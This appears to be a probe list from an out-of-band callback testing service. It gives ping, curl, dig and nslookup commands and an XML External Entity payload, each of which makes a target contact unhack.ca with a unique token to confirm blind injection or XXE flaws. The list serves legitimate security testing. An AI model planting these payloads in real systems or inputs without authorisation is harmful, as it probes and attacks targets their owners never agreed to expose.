$ ping -c1 -p 0084fb539f9d20aa1f28724c38f52d00 unhack.ca
 

$ curl http://unhack.ca/p/84fb539f9d20aa1f28724c38f52d
 

$ dig 84fb539f9d20aa1f28724c38f52d @unhack.ca
 

$ dig 84fb539f9d20aa1f28724c38f52d.ns.unhack.ca
 

C:\> nslookup 84fb539f9d20aa1f28724c38f52d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/84fb539f9d20aa1f28724c38f52d">]>
    <foo>&xxe;</foo>